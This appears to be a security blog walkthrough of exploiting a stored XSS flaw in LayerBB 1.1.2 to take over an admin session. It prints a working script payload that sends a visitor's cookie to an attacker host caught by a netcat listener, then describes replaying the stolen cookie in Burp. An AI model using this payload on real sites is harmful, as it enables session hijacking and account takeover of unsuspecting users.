I'm sure I've gone over various forms of Cross Site Scripting (XSS) in previous posts but sometimes I gloss over XSS because it's a vulnerability I discover along the way to a root.  But make no mistake, while XSS could seem benign, it is not.  The Browser Exploitation Framework (BeEF), while partially functional at this point, is still plenty dangerous and proof of that.  For this post though, I won't use BeEF because I've already done so in another post around here somewhere.  Today I will take a more manual approach -- exploiting an XSS vulnerability in LayerBB version 1.1.2

With a regular user account, we login to the forum:

When we are logged in, we are presented with:

Testing for the XSS vulnerability:  

When we select Create Thread, we confirm the site is vulnerable to XSS:

Benign, right?  It's the Internet's version of graffiti.  But what if instead of creating a simple popup, we attempt to steal cookies using the following:

<script>document.write('<img src="http://192.168.86.99/cookie.gif?cookie=' + document.cookie + '" />')</script>

We choose Create Thread:

And nothing happens.  Or so we think.

In another browser, we login with the Admin account:

The Admin sees a new post and decides to see what's written:

At the bottom of the page, we see "Waiting for 192.168.86.99" because over on our attacking machine, we have a netcat listener setup:

With our handy little Javascript, we asked for document.cookie and that's what we've received.

Moving back to our other browser, we're logged in with our user account:

We capture that session in Burp, we send it over to Repeater, we replay, and we look at the Render window:

Changing only the cookie:

We replay and when we look at the Render window:

We see that we've taken over the Admin account. 

Within Burp, this is pretty useless so let's push this over to a browser:

Choosing the option "in original session":

We are then presented with a URL which will will copy.  When we paste it into the browser:

We have a complete take over of the admin account.  Now before you start celebrating too much, there's one major flaw to this type of attack method, it relies on the Admin remaining logged into the system.  If the Admin should logout, your session will also get logged out -- the two logins are sharing the same session cookie.  Using this particular technique, I would suggest moving expeditiously.  There are better ways though....